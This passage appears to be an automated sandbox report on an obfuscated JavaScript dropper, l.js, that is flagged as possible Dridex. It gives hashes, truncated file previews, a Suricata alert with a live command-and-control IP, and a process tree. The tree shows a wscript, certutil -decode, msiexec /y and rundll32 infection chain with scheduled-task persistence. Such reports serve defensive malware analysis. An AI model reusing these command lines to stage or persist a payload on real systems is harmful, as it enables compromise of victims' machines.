SHA-512:	63E255C48E9C36485E6E7BC31319FD407027829713CEF93DD61EDF132949CE3C2DE741A70F6BA90347E3D0AA7112ACC95B71A7405711EAB925F5A491CD5D513F
Malicious:	false
Joe Sandbox View:	Filename: rad59AD5.dll, Detection: malicious, Browse Filename: rad59AD5.dll, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....a..........."...!............P..........h.............................p................ .............................................. ...............................`..................................(...................($...............................text...............................`.P`.data...............................@.`..rdata...!......."..................@.`@.pdata..............................@.0@.xdata..............................@.0@.bss....P.............................`..edata..............................@.0@.idata....... ......................@.0..CRT....X....@......................@.@..tls.........P......................@.@..reloc.......`......................@.0B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rad64802.tmp

Process:	C:\Windows\System32\certutil.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	54784
Entropy (8bit):	5.985188109464102
Encrypted:	false
SSDEEP:	768:g9QHl5zJLsXpwnPA9KYMGZC7SNichPH/kGFyHxr6a6GPxxoqMo5ydqP+qL3i3:g2dJn7dSfjof2Jo5PM
MD5:	1A28984D6DB3ABDB967C0C19B56F887D
SHA1:	B815A93DEDD5575A77B5FA9C0D77A9BC783CDB27
SHA-256:	B2B67092D3978B0A199C949591BB1872CBC49B91494726A513BE407ABC2CA6A9
SHA-512:	63E255C48E9C36485E6E7BC31319FD407027829713CEF93DD61EDF132949CE3C2DE741A70F6BA90347E3D0AA7112ACC95B71A7405711EAB925F5A491CD5D513F
Malicious:	false
Joe Sandbox View:	Filename: rad59AD5.dll, Detection: malicious, Browse Filename: rad59AD5.dll, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....a..........."...!............P..........h.............................p................ .............................................. ...............................`..................................(...................($...............................text...............................`.P`.data...............................@.`..rdata...!......."..................@.`@.pdata..............................@.0@.xdata..............................@.0@.bss....P.............................`..edata..............................@.0@.idata....... ......................@.0..CRT....X....@......................@.@..tls.........P......................@.@..reloc.......`......................@.0B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\radEBB74.tmp

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	73050
Entropy (8bit):	5.011733028274136
Encrypted:	false
SSDEEP:	1536:3Twk8+rj5v4umMEhe3seHLLDiSY2H7Rkqy1w0nIp:3TDrjx4pMHLPi6kqyap
MD5:	76E5A2CAD9CC7F4D716F68BCB952B068
SHA1:	0A249123C5F2C6F49CD7E650323E9EADB19F7E07
SHA-256:	E4E8AD7DA6AEDB908E277C4E5EE733C9E29ACD2268AAF91D1341EEB55B3FB806
SHA-512:	6AD6910D26EFA258FAEEDC03DF2B9DF4F295294BE66A9701C577F107E975D8A00022C89F95F986E1AA85BCFDAD0D8EE6FAAD32E17701CE56B59542642925EE78
Malicious:	false
Preview:	TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYLANqSiGEAAAAAAAAAAPAALiILAgIhAIQAAADSAAAADAAAUBMAAAAQAAAAALhoAAAAAAAQAAAAAgAABAAAAAAAAAAFAAIAAAAAAABwAQAABAAAle0AAAIAAAAAACAAAAAAAAAQAAAAAAAAAAAQAAAAAAAAEAAAAAAAAAAAAAAQAAAAABABALgAAAAAIAEAkBAAAAAAAAAAAAAAAOAAAKAFAAAAAAAAAAAAAABgAQD0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgM4AACgAAAAAAAAAAAAAAAAAAAAAAAAAKCQBAIgDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAALiDAAAAEAAAAIQAAAAEAAAAAAAAAAAAAAAAAABgAFBgLmRhdGEAAACwBAAAAKAAAAAGAAAAiAAAAAAAAAAAAAAAAAAAQABgwC5yZGF0YQAAkCEAAACwAAAAIgAAAI4AAAAAAAAAAAAAAAAAAEAAYEAucGRhdGEAAKAFAAAA4AAAAAYAAACwAAAAAAAAAAAAAAAAAABAADBALnhkYXRhAADMBQAAAPAAAAAGAAAAtgAAAAAAAAAAAAAAAAAAQAAwQC5ic3MAAAAAUAsAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAYMAuZWRhdGEAALgAAAAAEAEAAAIAAAC8AAAAAAAAAAAAAAAAAABAADBALmlkYXRhAACQEAAAACABAAASAAAAvgAAAAAAAAAAAAAAAAAAQAAwwC5DUlQAAAAAWAAAAABAAQAAAgAAANAAAAAAAAAAAAAAAAAAAEAA

C:\Windows\Tasks\Whitefusion.job

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	338
Entropy (8bit):	3.5661224775561378
Encrypted:	false
SSDEEP:	6:BID0ka/82On+SkSJkJAWhAlAtWlubhEZykMLNAJDiAjgsW2YRZuy0laMn1:aAkahO+fTWlj0b53LNyuAjzvYRQVaM1
MD5:	BE64DBE6683DD2D86EE6381A3BC11334
SHA1:	930F37A99F1B632681A3134948641ED89A992623
SHA-256:	8E0792206591911D6A8C256699EC6E4E782DAC194F0BCA62E6886547E4365400
SHA-512:	FAA4848F6F92678444DBA13D0862C1DBAA0DA0A03500A458C804589F2A0A707D805FD93C8E7B8204A128C0110CD93527F09641B5DCC70D94AB4D159346223162
Malicious:	false
Preview:	.....D<..\|.K.d.....YF. .....<... .....\.......... ....................!.C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.\.r.u.n.d.l.l.3.2...e.x.e...2.".C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.W.h.i.t.e.f.u.s.i.o.n.\.U.p.d.a.t.e.r...d.l.l.".,.S.t.a.r.t. ./.u.......J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................(.............................

Static File Info

General

File type:	ASCII text
Entropy (8bit):	4.80598489458784
TrID:
File name:	l.js
File size:	764'959 bytes
MD5:	97835729c58cae6501e9b3a3776e9906
SHA1:	63012f62e00a491b83adaba8804d890ac809490a
SHA256:	a75cab3593ad35620817235a9bd7938c7adaa8b3ce12a2da20e3e145ac304346
SHA512:	0ed5d7c90dbb260a732dd990d40a69f0997f8390db0a4cecc18349965e052e13ff8f5ecb709b95b176cc7e3686fbb08775e4b97b2253aa7aef9a1212607e8964
SSDEEP:	12288:q/VoiDR8Cx2ouvoqEZTwXasSNKF+uV6VBEx2:q/Vok2tI+w
TLSH:	C9F45770075218403322DF56EE1DA0E09E29055BBB74A986F98C5B74AFDE4BDDBB0C78
File Content Preview:	function a0_0x174c(_0xe060d2, _0x2b858b) {. var _0x1a48d6 = a0_0x1a48();. return a0_0x174c = function (_0x174c06, _0x33a01f) {. _0x174c06 = _0x174c06 - 0x116;. var _0x2ba6ab = _0x1a48d6[_0x174c06];. return _0x2ba6ab;. }, a0_0

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-22T20:37:06.102276+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	50003	149.248.58.85	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 22, 2025 20:38:59.154711008 CET	50003	443	192.168.2.4	149.248.58.85
Jan 22, 2025 20:38:59.154758930 CET	443	50003	149.248.58.85	192.168.2.4
Jan 22, 2025 20:38:59.154926062 CET	50003	443	192.168.2.4	149.248.58.85
Jan 22, 2025 20:38:59.167773008 CET	50003	443	192.168.2.4	149.248.58.85
Jan 22, 2025 20:38:59.167819977 CET	443	50003	149.248.58.85	192.168.2.4

Target ID:	0
Start time:	14:37:03
Start date:	22/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\l.js"
Imagebase:	0x7ff72c760000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	14:37:27
Start date:	22/01/2025
Path:	C:\Windows\System32\certutil.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\certutil.EXE -decode radEBB74.tmp rad64802.tmp
Imagebase:	0x7ff660b40000
File size:	1'651'712 bytes
MD5 hash:	F17616EC0522FC5633151F7CAA278CAA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	5
Start time:	14:37:27
Start date:	22/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	14:37:27
Start date:	22/01/2025
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.EXE /y C:\Users\user\AppData\Local\Temp\rad64802.tmp
Imagebase:	0x7ff741380000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	14:38:26
Start date:	22/01/2025
Path:	C:\Windows\System32\certutil.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\certutil.EXE -decode radEBB74.tmp rad64802.tmp
Imagebase:	0x7ff660b40000
File size:	1'651'712 bytes
MD5 hash:	F17616EC0522FC5633151F7CAA278CAA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	9
Start time:	14:38:26
Start date:	22/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	14:38:56
Start date:	22/01/2025
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.EXE /y C:\Users\user\AppData\Local\Temp\rad64802.tmp
Imagebase:	0x7ff741380000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	14:38:58
Start date:	22/01/2025
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\rundll32.exe "C:\ProgramData\Whitefusion\Updater.dll",Start /u
Imagebase:	0x7ff6c7700000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false